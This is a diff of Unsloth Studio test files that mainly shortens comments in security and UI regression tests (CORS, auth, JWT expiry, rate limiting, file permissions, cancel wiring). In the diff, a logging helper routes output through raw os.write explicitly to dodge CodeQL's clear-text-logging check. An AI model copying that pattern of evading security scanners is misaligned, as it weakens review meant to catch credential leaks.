-    `msg` could carry, the rule's data-flow can't see through the
-    helper and flags `print(msg)` as clear-text logging. Routing
-    through a raw fd write keeps the same observable CI output
-    while not matching the rule's sink pattern. The msg payload is
-    still credential-free by construction (callers wrap response
-    bodies in `_shape(...)`).
-    """
+    """Write a status line via raw os.write to dodge CodeQL's clear-text-logging sink on print()."""
     os.write(1, prefix.encode("utf-8"))
     os.write(1, msg.encode("utf-8", errors = "replace"))
     os.write(1, b"\n")
@@ -104,21 +57,13 @@ def ok(msg: str) -> None:
 
 
 def fail(msg: str) -> None:
-    """Record a failure but keep running so we report ALL failures.
-
-    `msg` must be free of credential material -- callers should pass
-    only the HTTP status code + a short description (and `_shape(body)`
-    if shape is informative). Never `body` directly.
-    """
+    """Record a failure but keep running so we report ALL failures. `msg` must be credential-free."""
     _emit("  FAIL ", msg)
     _failed.append(f"{_section[0]}: {msg}")
 
 
 def audit(msg: str) -> None:
-    """Record an audit finding -- a real backend regression that we
-    want surfaced in CI logs but not gating until the underlying fix
-    ships. Set STUDIO_API_STRICT_AUDIT=1 to escalate to hard fail.
-    """
+    """Record a non-gating backend regression; STUDIO_API_STRICT_AUDIT=1 escalates to hard fail."""
     if STRICT_AUDIT:
         fail(msg)
     else:
@@ -173,11 +118,7 @@ def login(password: str) -> tuple[int, str | None]:
 # ─────────────────────────────────────────────────────────────────────────
 section("CORS hardening")
 
-# Cross-origin OPTIONS preflight. FastAPI explicitly forbids
-# Access-Control-Allow-Origin: <origin> together with
-# Access-Control-Allow-Credentials: true. (Wildcard + credentials is
-# also forbidden by the browser.) Either response is acceptable; the
-# bad pattern is a wildcard origin echoed alongside credentials.
+# Cross-origin OPTIONS preflight. Bad pattern: wildcard origin echoed alongside credentials=true.
 req = urllib.request.Request(
     f"{BASE}/api/auth/login",
     method = "OPTIONS",
@@ -198,10 +139,7 @@ try:
 except Exception as exc:
     ok(f"CORS preflight unreachable (acceptable): {exc!r}")
 
-# GET / from a cross-origin Origin header. The response body must NOT
-# contain the literal bootstrap password (the security audit flagged
-# that __UNSLOTH_BOOTSTRAP__ injection in the served HTML can be
-# fetched cross-origin under wildcard CORS).
+# GET / cross-origin must NOT leak the bootstrap password in the served HTML.
 boot_path = AUTH_DIR / ".bootstrap_password"
 if boot_path.exists():
     bootstrap_pw = boot_path.read_text().strip()
@@ -214,11 +152,7 @@ if boot_path.exists():
             with urllib.request.urlopen(req, timeout = 10) as r:
                 body = r.read().decode("utf-8", errors = "ignore")
                 if bootstrap_pw in body:
-                    # AUDIT finding (P0 from security review): the
-                    # __UNSLOTH_BOOTSTRAP__ injection in served HTML is
-                    # readable cross-origin under the current wildcard
-                    # CORS policy. Tracked separately; the test surfaces
-                    # the regression but does not gate CI on it.
+                    # AUDIT (P0): bootstrap pw in served HTML is readable cross-origin under wildcard CORS.
                     audit("CORS: GET / leaks bootstrap pw to cross-origin caller")
                 else:
                     ok("CORS: GET / does not include bootstrap pw")
@@ -242,8 +176,7 @@ for endpoint in ("/api/system", "/api/system/hardware", "/api/system/gpu-visibil
         fail(f"GET {endpoint} unauthenticated returned {code} (expected 401/403)")
 
 
-# Rotate password to NEW so we have a working bearer for the rest.
-# (Bootstrap login -> change-password -> login with NEW.)
+# Rotate password to NEW for a working bearer: bootstrap login -> change-password -> login NEW.
 section("Rotate bootstrap password for downstream tests")
 code, old_token = login(OLD)
 if code != 200 or not old_token:
@@ -267,7 +200,7 @@ if code != 200 or not NEW_TOKEN:
 ok("login with NEW -> 200")
 AUTH_HEADER = {"Authorization": f"Bearer {NEW_TOKEN}"}
 
-# Re-test /api/system endpoints WITH auth: must succeed now.
+# Re-test /api/system endpoints WITH auth.
 for endpoint in ("/api/system", "/api/system/hardware", "/api/system/gpu-visibility"):
     code, _ = http("GET", endpoint, headers = AUTH_HEADER)
     if code == 200:
@@ -275,7 +208,7 @@ for endpoint in ("/api/system", "/api/system/hardware", "/api/system/gpu-visibil
     else:
         fail(f"GET {endpoint} authenticated returned {code} (expected 200)")
 
-# Load the model. Sections 5 + 7 below need a loaded model.
+# Sections 5 + 7 below need a loaded model.
 section("Load the GGUF for /v1 tests")
 code, body = http(
     "POST",
@@ -315,9 +248,8 @@ else:
     fail(f"/api/auth/refresh without body returned {code} (expected 400/422)")
 
 
-# Wrong-password burst: expect 401 until the per-IP bucket fills, then
-# 429 with Retry-After. Bucket cannot be reset between tests, so we
-# assert the observable invariant rather than a fixed transition index.
+# Wrong-password burst: 401 until the per-IP bucket fills, then 429 with Retry-After.
+# Bucket can't be reset between tests, so assert the invariant, not a fixed transition index.
 def _login_with_headers(password: str) -> tuple[int, str | None]:
     """Like ``login`` but returns ``(status, retry_after_header)``."""
     url = f"{BASE}/api/auth/login"
@@ -362,7 +294,7 @@ else:
 # ─────────────────────────────────────────────────────────────────────────
 section("JWT expiry")
 # Forge a JWT with exp=now-1 using the install's signing secret.
-# auth/storage.py:get_user_and_secret('unsloth') returns (salt, hash, jwt_secret, must_change_pw).
+# get_user_and_secret('unsloth') returns (salt, hash, jwt_secret, must_change_pw).
 try:
     sys.path.insert(
         0,
@@ -419,9 +351,7 @@ code, body = http(
 if code != 200 or not isinstance(body, dict):
     fail(f"POST /api/auth/api-keys -> {code}: {_shape(body)}")
 else:
-    # Response shape: {"key": "sk-unsloth-...", "api_key": {"id": ...,
-    # "name": ..., "key_prefix": ..., ...}}. The flat "key" carries the
-    # one-time bearer; the "api_key" sub-dict carries the metadata.
+    # Flat "key" is the one-time bearer; the "api_key" sub-dict carries metadata.
     api_key = body.get("key")
     api_meta = body.get("api_key") if isinstance(body.get("api_key"), dict) else {}
     api_id = api_meta.get("id") or body.get("id")
@@ -429,8 +359,6 @@ else:
         fail(f"create-key missing key/id: {_shape(body)}")
     else:
         ok(f"created key id={api_id}")
-        # The API key may use sk-unsloth-* or another prefix; we don't
-        # pin the literal prefix.
         # List must include this id.
         code, body = http("GET", "/api/auth/api-keys", headers = AUTH_HEADER)
         if code == 200 and isinstance(body, dict):
@@ -442,8 +370,7 @@ else:
         else:
             fail(f"GET /api/auth/api-keys -> {code}: {_shape(body)}")
 
-        # Use the key against /v1/chat/completions (the workflow has
-        # already loaded gemma-3-270m).
+        # Use the key against /v1/chat/completions.
         code, body = http(
             "POST",
             "/v1/chat/completions",
@@ -512,10 +439,7 @@ else:
         if actual_mode == expected_mode:
             ok(f"{path} mode={oct(actual_mode)}")
         else:
-            # AUDIT finding (P1 from security review): auth.db inherits
-            # the process umask (0o644 on most CI runners) instead of
-            # being chmod 0o600 like the bootstrap pw file. Tracked
-            # separately; surface, don't gate.
+            # AUDIT (P1): auth.db inherits the umask instead of being chmod 0o600.
             audit(f"{path} mode={oct(actual_mode)} (expected {oct(expected_mode)})")
 
 
@@ -535,8 +459,7 @@ if code == 200 and isinstance(body, dict):
 else:
     fail(f"/v1/models -> {code}: {_shape(body)}")
 
-# /v1/embeddings either returns embedding OR a structured 4xx/5xx.
-# 501 "Not Implemented" is acceptable for non-embedding-capable models.
+# /v1/embeddings returns an embedding OR a structured 4xx (501 OK for non-embedding models).
 code, body = http(
     "POST",
     "/v1/embeddings",
@@ -568,10 +491,7 @@ if code == 200 or 400 <= code < 500:
 else:
     fail(f"/v1/responses -> {code} (expected 200 or 4xx)")
 
-# Bogus variant must be rejected. The contract: 4xx for an obviously
-# bad input is the right code. Today the backend returns 500 for
-# unknown variants -- rejected, but with the wrong status. Surface as
-# AUDIT (not gating) until the variant validator returns 4xx.
+# Bogus variant must be rejected with 4xx. Backend currently 500s; surface as AUDIT until fixed.
 code, _ = http(
     "POST",
     "/api/inference/load",
@@ -593,7 +513,6 @@ else:
 
 
 # Force-reload of the same repo: child PID must change.
-# Read the inference status before.
 def _llama_pid() -> int | None:
     code, body = http("GET", "/api/inference/status", headers = AUTH_HEADER)
     if code != 200 or not isinstance(body, dict):
@@ -629,9 +548,7 @@ else:
 # 8. Endpoint-by-endpoint auth audit
 # ─────────────────────────────────────────────────────────────────────────
 section("Endpoint auth audit")
-# Pin the EXPECTED auth posture for known routes. A new route added
-# without an entry here fails the audit, forcing the author to make
-# the auth decision explicit.
+# Pin the EXPECTED auth posture per route; a new unlisted route fails the audit.
 PUBLIC = {
     ("GET", "/api/health"),
     ("GET", "/api/auth/status"),
@@ -654,10 +571,7 @@ EXPECTED_AUTH_ENDPOINTS = [
 for method, path in EXPECTED_AUTH_ENDPOINTS:
     if (method, path) in PUBLIC:
         continue
-    # Don't actually shut Studio down -- verify auth check by sending
-    # an empty body / no auth header. If the check happens BEFORE the
-    # shutdown trigger (which is the design), we get a 401/403 without
-    # any side effects.
+    # Don't actually shut Studio down: an unauthenticated call must 401/403 before the trigger fires.
     if path == "/api/shutdown":
         code, _ = http(method, path)
         if code in (401, 403):
@@ -672,9 +586,7 @@ for method, path in EXPECTED_AUTH_ENDPOINTS:
         fail(f"{method} {path} unauthenticated returned {code} (expected 401/403)")
 for method, path in PUBLIC:
     code, _ = http(method, path)
-    if (
-        200 <= code < 500
-    ):  # public endpoints either 200 or 4xx (bad input), never connection-refused
+    if 200 <= code < 500:  # public endpoints: 200 or 4xx, never connection-refused
         ok(f"{method} {path} public -> {code}")
     else:
         fail(f"{method} {path} public returned unexpected {code}")
diff --git a/tests/studio/test_auth_form_input_count.py b/tests/studio/test_auth_form_input_count.py
index 80f73e4065..dd582d17d1 100644
--- a/tests/studio/test_auth_form_input_count.py
+++ b/tests/studio/test_auth_form_input_count.py
@@ -3,16 +3,10 @@
 
 """Pin the auth-form input-count contract on the change-password page.
 
-PR #5490 added a third "Current password" input for the admin-forced reset
-path; this regressed the first-boot UX (which reuses the injected
-window.__UNSLOTH_BOOTSTRAP__ password) to three visible inputs. PR #5545
-restores two inputs by rendering Current password only when BOOTSTRAP is
-absent.
-
-These tests inspect the auth-form source directly (no Studio, browser, or
-network), so they run deterministically on any CI runner. The runtime side
-is covered by tests/studio/playwright_chat_ui.py.
-"""
+PR #5490 added a third "Current password" input, regressing first-boot UX to
+three inputs; PR #5545 restores two by rendering it only when BOOTSTRAP is absent.
+These tests inspect the source directly (no Studio/browser/network); runtime is
+covered by tests/studio/playwright_chat_ui.py."""
 
 from __future__ import annotations
 
@@ -28,9 +22,7 @@ CONDITIONAL_OPENER = "{!hasBootstrapPassword && ("
 
 
 def _conditional_extent(src: str) -> tuple[int, int]:
-    """Return the (start, end) char offsets of the
-    `{!hasBootstrapPassword && (...)}` JSX block. ``start`` points
-    at the opening `{`; ``end`` points one past the matching `)}`."""
+    """(start, end) char offsets of the `{!hasBootstrapPassword && (...)}` JSX block."""
     start = src.find(CONDITIONAL_OPENER)
     assert start != -1, (
         "the {!hasBootstrapPassword && (...)} JSX block that hides the "
@@ -52,10 +44,8 @@ def _conditional_extent(src: str) -> tuple[int, int]:
 
 
 def test_hasbootstrappassword_constant_is_derived_from_bootstrap_window_value():
-    """The conditional guard must read from window.__UNSLOTH_BOOTSTRAP__.
-    A future refactor that swaps the source (e.g. a localStorage flag,
-    a prop) would silently drift from the backend's bootstrap-injection
-    contract in studio/backend/main.py::_inject_bootstrap."""
+    """The guard must read from window.__UNSLOTH_BOOTSTRAP__, matching the backend's
+    bootstrap-injection contract in studio/backend/main.py::_inject_bootstrap."""
     src = AUTH_FORM.read_text()
     assert "const hasBootstrapPassword = Boolean(window.__UNSLOTH_BOOTSTRAP__?.password);" in src, (
         "hasBootstrapPassword constant missing or its derivation drifted; "
@@ -64,10 +54,8 @@ def test_hasbootstrappassword_constant_is_derived_from_bootstrap_window_value():
 
 
 def test_exactly_one_hasBootstrapPassword_conditional_exists():
-    """Only one `!hasBootstrapPassword` JSX check is allowed. A second
-    one would split the form rendering into branches that the rest of
-    these structural tests cannot reason about, and would almost
-    certainly hide or duplicate one of the New / Confirm inputs."""
+    """Only one `!hasBootstrapPassword` JSX check is allowed; a second would split
+    rendering into branches and likely hide or duplicate the New / Confirm inputs."""
     src = AUTH_FORM.read_text()
     count = src.count("!hasBootstrapPassword")
     assert count == 1, (
@@ -77,9 +65,8 @@ def test_exactly_one_hasBootstrapPassword_conditional_exists():
 
 
 def test_current_password_input_is_inside_the_hasBootstrapPassword_conditional():
-    """`id="current-password"` MUST sit inside `{!hasBootstrapPassword && (...)}`.
-    Otherwise the input renders on first boot too, regressing the
-    pre-#5490 two-input UX that PR #5545 restores."""
+    """`id="current-password"` must sit inside `{!hasBootstrapPassword && (...)}`,
+    else it renders on first boot too, regressing the pre-#5490 UX that PR #5545 restores."""
     src = AUTH_FORM.read_text()
     s, e = _conditional_extent(src)
     idx = src.find('id="current-password"')
@@ -92,8 +79,8 @@ def test_current_password_input_is_inside_the_hasBootstrapPassword_conditional()
 
 
 def test_new_password_input_is_outside_the_hasBootstrapPassword_conditional():
-    """`id="new-password"` MUST sit outside `{!hasBootstrapPassword && (...)}`.
-    Otherwise it disappears on admin-forced resets, regressing PR #5490."""
+    """`id="new-password"` must sit outside `{!hasBootstrapPassword && (...)}`,
+    else it disappears on admin-forced resets, regressing PR #5490."""
     src = AUTH_FORM.read_text()
     s, e = _conditional_extent(src)
     idx = src.find('id="new-password"')
@@ -119,11 +106,9 @@ def test_confirm_password_input_is_outside_the_hasBootstrapPassword_conditional(
 
 
 def test_change_password_jsx_declares_exactly_three_password_inputs():
-    """The change-password JSX block (`{!isLoginMode && (...)}`) must
-    declare exactly the three known password inputs -- current, new,
-    confirm. A fourth would almost certainly break the 2-input
-    first-boot contract because the conditional only hides the
-    Current input, not any new one a future PR might add."""
+    """The change-password JSX block (`{!isLoginMode && (...)}`) must declare exactly
+    current/new/confirm; a fourth would break the 2-input first-boot contract (the
+    conditional only hides Current)."""
     src = AUTH_FORM.read_text()
     start = src.find("{!isLoginMode && (")
     assert start != -1, (
@@ -155,10 +140,8 @@ def test_change_password_jsx_declares_exactly_three_password_inputs():
 
 
 def test_login_jsx_declares_exactly_one_password_input():
-    """The login JSX block (`isLoginMode && (...)`) must declare
-    exactly one password input -- the bootstrap password the user
-    pastes from the CLI. Adding a second here would break the
-    matrix that the per-mode tests assume."""
+    """The login JSX block (`isLoginMode && (...)`) must declare exactly one password
+    input (the bootstrap password pasted from the CLI); a second breaks the per-mode matrix."""
     src = AUTH_FORM.read_text()
     start = src.find("{isLoginMode && (")
     assert start != -1, "the login JSX subtree marker is missing"
@@ -173,8 +156,7 @@ def test_login_jsx_declares_exactly_one_password_input():
         i += 1
     subtree = src[start:i]
     ids = re.findall(r'id="([a-z-]+)"', subtree)
-    # The login subtree currently uses id="password". Lock the count
-    # rather than the spelling so a rename does not falsely fail.
+    # Lock the count, not the spelling, so a rename does not falsely fail.
     pw_ids = [x for x in ids if "password" in x]
     assert len(pw_ids) == 1, (
         f"login JSX must declare exactly one password-typed input; " f"found {pw_ids!r}"
diff --git a/tests/studio/test_cancel_atomicity.py b/tests/studio/test_cancel_atomicity.py
index ea4169f6ff..142cc2247a 100644
--- a/tests/studio/test_cancel_atomicity.py
+++ b/tests/studio/test_cancel_atomicity.py
@@ -1,12 +1,4 @@
-"""
-TOCTOU atomicity guards for the cancel path.
-
-Structural: cancel_inference, _cancel_by_cancel_id_or_stash, and
-_TrackedCancel.__enter__ must each use a single _CANCEL_LOCK critical
-section over lookup + stash / register + consume-pending.
-
-Behavioral: parallel cancel-POST vs __enter__ must never drop a cancel.
-"""
+"""TOCTOU atomicity guards for the cancel path: single _CANCEL_LOCK critical sections; parallel cancel-POST vs __enter__ never drops a cancel."""
 
 from __future__ import annotations
 
diff --git a/tests/studio/test_cancel_id_wiring.py b/tests/studio/test_cancel_id_wiring.py
index d821786431..651dfbf3de 100644
--- a/tests/studio/test_cancel_id_wiring.py
+++ b/tests/studio/test_cancel_id_wiring.py
@@ -1,19 +1,9 @@
-"""
-Wiring tests for the per-run cancel_id field.
+"""Wiring tests for the per-run cancel_id field.
 
-A chat-thread-scoped session_id is not safe as a cancel key because a
-late stop POST can match a subsequent run on the same thread. The fix
-adds cancel_id (a fresh UUID per generation) that is sent both in the
-completion payload and in the /api/inference/cancel body.
-
-Verifies:
-  - ChatCompletionRequest exposes an Optional[str] `cancel_id` field.
-  - /api/inference/cancel accepts `cancel_id` as the first-preferred key.
-  - OpenAIChatCompletionsRequest (frontend type) includes cancel_id.
-  - chat-adapter.ts generates a per-run cancelId (crypto.randomUUID
-    with a Math.random fallback), sends it in the completion payload,
-    and includes it in the /inference/cancel body on abort.
-"""
+A thread-scoped session_id is unsafe as a cancel key (a late stop POST can match
+a later run on the same thread); cancel_id is a fresh per-generation UUID sent in
+both the completion payload and the /api/inference/cancel body. Verifies the
+field on backend/frontend types and the chat-adapter.ts generation + wiring."""
 
 from __future__ import annotations
 
@@ -51,10 +41,9 @@ def test_chat_completion_request_has_cancel_id_field():
 
 
 def test_cancel_route_matches_cancel_id_exclusively_when_present():
-    # A stale cancel POST carrying cancel_id AND session_id must not cancel a
-    # later run via the shared session_id. Require the handler to early-return
-    # through an exclusive-cancel_id path (atomic helper, or keys list with
-    # ONLY cancel_id, never session_id).
+    # A stale POST with cancel_id AND session_id must not cancel a later run via
+    # session_id; the handler must early-return through an exclusive-cancel_id path
+    # (atomic helper, or a keys list with ONLY cancel_id).
     for node in ast.walk(ast.parse(ROUTES_SRC)):
         if isinstance(node, ast.AsyncFunctionDef) and node.name == "cancel_inference":
             break
@@ -136,9 +125,8 @@ def test_chat_adapter_sends_cancel_id_in_abort_cancel_post():
 
 
 def test_abort_cancel_post_uses_plain_fetch_with_manual_auth_header():
-    # authFetch redirects to login on 401, kicking the user out mid-stop if
-    # the token expired during a long stream. Use plain fetch + manual
-    # Authorization header for a best-effort cancel with no refresh/redirect.
+    # authFetch redirects to login on 401, kicking the user out mid-stop if the
+    # token expired. Use plain fetch + manual Authorization for a best-effort cancel.
     start = ADAPTER_SRC.find("const onAbortCancel")
     assert start >= 0, "onAbortCancel handler missing"
     rest = ADAPTER_SRC[start:]
diff --git a/tests/studio/test_cli_repo_variant.py b/tests/studio/test_cli_repo_variant.py
index 21f935965f..548d3f2598 100644
--- a/tests/studio/test_cli_repo_variant.py
+++ b/tests/studio/test_cli_repo_variant.py
@@ -1,8 +1,6 @@
 """Tests for the ``repo:variant`` shorthand parser used by ``unsloth studio run``.
 
-Loads ``unsloth_cli/commands/studio.py`` directly via ``importlib`` with a
-minimal ``typer`` stub so the test doesn't drag in the rest of
-``unsloth_cli`` (which transitively imports the unsloth training stack).
+Loads studio.py via importlib with a minimal typer stub to avoid importing the unsloth training stack.
 """
 
 from __future__ import annotations
@@ -16,12 +14,7 @@ import pytest
 
 
 def _load_split_repo_variant():
-    """Load ``_split_repo_variant`` from studio.py with typer stubbed.
-
-    studio.py decorates Typer commands at import time, so a stub that
-    accepts (and discards) those calls is enough to let module
-    execution complete and expose the helper we want to test.
-    """
+    """Load ``_split_repo_variant`` from studio.py with typer stubbed (discards decorator calls)."""
     if "typer" not in sys.modules:
         typer_stub = types.ModuleType("typer")
 
@@ -121,17 +114,14 @@ def test_empty_string():
 
 
 def test_trailing_colon_no_variant():
-    # "org/repo:" -- no quant label after the colon. Pass through
-    # unchanged so the backend's existing validation surfaces a
-    # clearer error than "variant ''".
+    # "org/repo:" has no quant label; pass through unchanged so backend validation gives a clearer error.
     repo, variant = _split("org/repo:")
     assert repo == "org/repo:"
     assert variant is None
 
 
 def test_slash_in_variant_disqualifies_split():
-    # "foo:bar/baz" -- the suffix has a slash, so this isn't a quant
-    # label; treat the whole thing as opaque.
+    # "foo:bar/baz" suffix has a slash, so it's not a quant label; treat as opaque.
     repo, variant = _split("foo:bar/baz")
     assert repo == "foo:bar/baz"
     assert variant is None
diff --git a/tests/studio/test_cli_run_alias.py b/tests/studio/test_cli_run_alias.py
index c69cad9bb8..498ebbdf4d 100644
--- a/tests/studio/test_cli_run_alias.py
+++ b/tests/studio/test_cli_run_alias.py
@@ -1,9 +1,4 @@
-"""Tests that ``unsloth run`` is registered as a top-level alias for
-``unsloth studio run``.
-
-AST-based to avoid importing ``unsloth_cli`` (which pulls in the heavy
-training stack) at test-collection time.
-"""
+"""AST-based tests that `unsloth run` is registered as a top-level alias for `unsloth studio run`."""
 
 from __future__ import annotations
 
@@ -35,8 +30,7 @@ def test_top_level_run_alias_registered():
             and call.func.value.id == "app"
         ):
             continue
-        # Decorator-call form has a string literal "run" as the first
-        # positional or as keyword ``name="run"``.
+        # "run" appears as the first positional arg or as keyword name="run".
         first_pos = call.args[0] if call.args else None
         keyword_name = next((kw.value for kw in call.keywords if kw.arg == "name"), None)
         is_run = (isinstance(first_pos, ast.Constant) and first_pos.value == "run") or (
diff --git a/tests/studio/test_cli_studio_defaults.py b/tests/studio/test_cli_studio_defaults.py
index ed1bd37c3d..b03fa57603 100644
--- a/tests/studio/test_cli_studio_defaults.py
+++ b/tests/studio/test_cli_studio_defaults.py
@@ -1,8 +1,4 @@
-"""Tests that the 'unsloth studio' CLI defaults to 127.0.0.1.
-
-Uses AST parsing to inspect source-level defaults without requiring the
-full unsloth_cli dependencies (typer/pydantic) at test-collection time.
-"""
+"""'unsloth studio' CLI must default --host to 127.0.0.1. AST-based, no typer/pydantic needed."""
 
 import ast
 from pathlib import Path
@@ -11,12 +7,7 @@ _STUDIO_CMD_PY = Path(__file__).resolve().parents[2] / "unsloth_cli" / "commands
 
 
 def _find_typer_option_default(source: str, func_name: str, long_option: str):
-    """Return the default value of a typer.Option(...) parameter in *func_name*.
-
-    Matches by the long option name (e.g. '--host') among the positional args
-    of the typer.Option() call and returns the first positional arg (the
-    default value). Only handles ast.Constant defaults.
-    """
+    """Return the typer.Option default for *long_option* in *func_name* (ast.Constant defaults only)."""
     tree = ast.parse(source)
     for func_node in ast.walk(tree):
         if not isinstance(func_node, (ast.FunctionDef, ast.AsyncFunctionDef)):
@@ -39,7 +30,7 @@ def _find_typer_option_default(source: str, func_name: str, long_option: str):
             )
             if not is_typer_option:
                 continue
-            # First positional is the default; the rest are flags like "--host".
+            # First positional is the default; the rest are flags.
             if not default.args:
                 continue
             flags = [
@@ -56,7 +47,7 @@ def _find_typer_option_default(source: str, func_name: str, long_option: str):
 
 
 def test_studio_default_host_is_loopback():
-    """`unsloth studio` (studio_default) --host typer Option default must be 127.0.0.1."""
+    """`unsloth studio` (studio_default) --host default must be 127.0.0.1."""
     source = _STUDIO_CMD_PY.read_text()
     host_default = _find_typer_option_default(source, "studio_default", "--host")
     assert (
@@ -69,7 +60,7 @@ def test_studio_default_host_is_loopback():
 
 
 def test_studio_run_host_is_loopback():
-    """`unsloth studio run` --host typer Option default must be 127.0.0.1."""
+    """`unsloth studio run` --host default must be 127.0.0.1."""
     source = _STUDIO_CMD_PY.read_text()
     host_default = _find_typer_option_default(source, "run", "--host")
     assert host_default is not None, "Could not find --host typer.Option default in run()"
diff --git a/tests/studio/test_cli_studio_stop_windows.py b/tests/studio/test_cli_studio_stop_windows.py
index 7ba3d12214..778679c73b 100644
--- a/tests/studio/test_cli_studio_stop_windows.py
+++ b/tests/studio/test_cli_studio_stop_windows.py
@@ -3,12 +3,9 @@
 
 """Regression tests for `unsloth studio stop` on Windows (PR #5940).
 
-`stop` once used the POSIX `os.kill(pid, 0)` probe, which raises OSError
-(WinError 87) for every pid on Windows -- crashing before reaching taskkill.
-The fix adds a cross-platform `_pid_alive(pid)` (tasklist on Windows, signal-0
-elsewhere).
-
-AST + mock-only; no real process management, no Studio deps imported.
+`stop` once used `os.kill(pid, 0)`, which raises WinError 87 on Windows before
+reaching taskkill; the fix adds cross-platform `_pid_alive` (tasklist on Windows,
+signal-0 elsewhere). AST + mock-only; no real processes, no Studio deps imported.
 """
 
 import ast
@@ -34,8 +31,8 @@ def _func_source(name: str) -> str:
 
 
 def _load_pid_alive(platform: str, fake_run = None):
-    """Exec just `_pid_alive` with injectable sys/subprocess, so we can drive
-    the win32 branch on any host without importing the full unsloth_cli."""
+    """Exec just `_pid_alive` with injectable sys/subprocess to drive the win32
+    branch on any host without importing unsloth_cli."""
     src = _func_source("_pid_alive")
     fake_sys = types.SimpleNamespace(platform = platform)
     fake_sub = types.SimpleNamespace(run = fake_run) if fake_run is not None else subprocess
diff --git a/tests/studio/test_composer_rtl_bidi_attribute.py b/tests/studio/test_composer_rtl_bidi_attribute.py
index f1eb75035c..defbfab86c 100644
--- a/tests/studio/test_composer_rtl_bidi_attribute.py
+++ b/tests/studio/test_composer_rtl_bidi_attribute.py
@@ -1,11 +1,5 @@
-"""Lock down the RTL bidi auto-detection contract on the chat composers.
-
-The browser's Unicode bidi algorithm only flows Arabic / Hebrew / Persian /
-Urdu right-to-left when the textarea carries `dir="auto"`. The three
-composer surfaces (main chat, inline edit, compare mode) each need the
-attribute, and the IME / i18n Playwright smoke must keep its env contract
-minimal (no dead `STUDIO_OLD_PW`).
-"""
+"""RTL bidi contract on chat composers: all three need dir="auto", and the IME
+smoke must drop the dead STUDIO_OLD_PW env var."""
 
 from __future__ import annotations
 
@@ -30,10 +24,8 @@ def _block_around(
 
 
 def test_main_composer_has_dir_auto():
-    # PR #5784 rewrote the literal attribute into a JSX conditional
-    # (`aria-label={overlay ? "Image edit instructions" : "Message input"}`),
-    # so anchor on the inner string literal instead -- it survives both
-    # the old and new spellings.
+    # PR #5784 turned the attribute into a JSX conditional; anchor on the inner
+    # "Message input" literal, which survives both spellings.
     block = _block_around(THREAD_TSX.read_text(), '"Message input"')
     assert 'dir="auto"' in block, 'main composer is missing dir="auto"'
 
@@ -82,10 +74,8 @@ def test_ime_playwright_script_does_not_read_studio_old_pw():
 
 
 def test_main_composer_has_stuck_compositionend_watchdog():
-    """Issue #5546: Chrome on Windows over WSL never emits compositionend
-    after the IME commit. The composer keeps a watchdog that releases the
-    composing flag once events go silent; without it Send stays disabled
-    forever and CJK input is effectively dropped."""
+    """Issue #5546: WSL Chrome never emits compositionend after IME commit, so the
+    composer needs a watchdog releasing the composing flag or Send stays disabled."""
     src = THREAD_TSX.read_text()
     assert (
         "IME_STUCK_TIMEOUT_MS" in src
@@ -105,9 +95,8 @@ def test_compare_composer_has_stuck_compositionend_watchdog():
 
 
 def test_main_composer_keydown_repins_composing_during_ime():
-    """Issue #5546 watchdog can clear composingRef during a long candidate
-    pause; the IME keydown gate must re-pin it so a follow-up Enter does not
-    submit preedit text."""
+    """Issue #5546: the keydown IME gate must re-pin composingRef so a follow-up
+    Enter does not submit preedit text after the watchdog clears it."""
     src = THREAD_TSX.read_text()
     assert "onKeyDown" in src, "main composer is missing onKeyDown IME gate"
     assert "e.nativeEvent.isComposing" in src and "keyCode === 229" in src, (
@@ -118,8 +107,7 @@ def test_main_composer_keydown_repins_composing_during_ime():
 
 def test_compare_composer_keydown_repins_composing_during_ime():
     """Compare composer onKeyDown re-pins composingRef on IME keypress so a
-    follow-up click-Send during the watchdog window does not slip preedit
-    text through."""
+    follow-up click-Send during the watchdog window does not slip preedit text."""
     src = SHARED_TSX.read_text()
     assert "composingRef.current = true" in src, (
         "compare composer keydown gate must re-pin composingRef when the "
@@ -133,9 +121,8 @@ def _extract_block(
     opener: str = "(",
     closer: str = ")",
 ) -> str:
-    """Return the source within the first balanced opener/closer at or
-    after `anchor`. Scopes assertions to one handler so a re-arm call
-    elsewhere does not satisfy the gate test."""
+    """Source within the first balanced opener/closer after `anchor`, scoping
+    assertions to one handler."""
     start = src.find(anchor)
     assert start != -1, f"anchor {anchor!r} not found"
     open_idx = src.find(opener, start)
@@ -153,9 +140,8 @@ def _extract_block(
 
 
 def test_main_composer_keydown_rearms_watchdog():
-    """After the keydown re-pin sets composingRef=true the watchdog must
-    be re-armed; otherwise the WSL+Chrome no-compositionend path this PR
-    targets would lock Send permanently after any IME keypress."""
+    """After keydown re-pins composingRef the watchdog must re-arm, else the
+    WSL+Chrome no-compositionend path locks Send after any IME keypress (#5546)."""
     src = THREAD_TSX.read_text()
     block = _extract_block(src, "const onKeyDown = useCallback")
     assert "refreshStuckTimer" in block, (
diff --git a/tests/studio/test_frontend_dep_removal.py b/tests/studio/test_frontend_dep_removal.py
index d1835c2bac..fb1b5ace7b 100644
--- a/tests/studio/test_frontend_dep_removal.py
+++ b/tests/studio/test_frontend_dep_removal.py
@@ -3,14 +3,9 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 """Edge-case suite for scripts/check_frontend_dep_removal.py.
 
-Each case patches a copy of studio/frontend/package.json to remove (or
-move) a specific dependency, invokes the checker against the real
-working tree's lockfile, and asserts the verdict matches expectations.
-
-Run:
-  python tests/studio/test_frontend_dep_removal.py
-
-Exits 0 iff every case behaves as expected.
+Each case patches a copy of package.json to remove/move a dependency,
+runs the checker against the real lockfile, and asserts the verdict.
+Run: `python tests/studio/test_frontend_dep_removal.py` (exit 0 iff all pass).
 """
 
 from __future__ import annotations
@@ -315,8 +310,8 @@ def run_case(case: Case, head_pkg: dict) -> tuple[bool, str]:
     )
 
 
-# Classifier unit tests: feed hand-crafted snippets into classify() and assert
-# the returned kind. Covers sneaky import shapes used to obscure a real usage.
+# Classifier unit tests: feed snippets into classify(), assert the kind.
+# Covers sneaky import shapes used to obscure a real usage.
 
 # Import classify() by file path so this test needs no installed package.
 import importlib.util as _ilu
@@ -633,11 +628,8 @@ CLASSIFY_CASES: list[ClassifyCase] = [
         'type C = import("react").ComponentType;',
         "dynamic_import",
     ),
-    # File-type gating (codex P1: JS classifiers must not fire on
-    # non-script files). Python fixtures and Markdown code blocks often
-    # contain literal JS-shaped strings for documentation or test data,
-    # so a bare `import x from "pkg"` inside a .py / .md / .sh / .yml is
-    # not a real npm usage.
+    # File-type gating: JS classifiers must not fire on non-script files
+    # (.py/.md/.sh/.yml), whose JS-shaped strings are docs/test data, not usages.
     ClassifyCase(
         "U37",
         "JS import snippet inside a Python fixture string is NOT a usage",
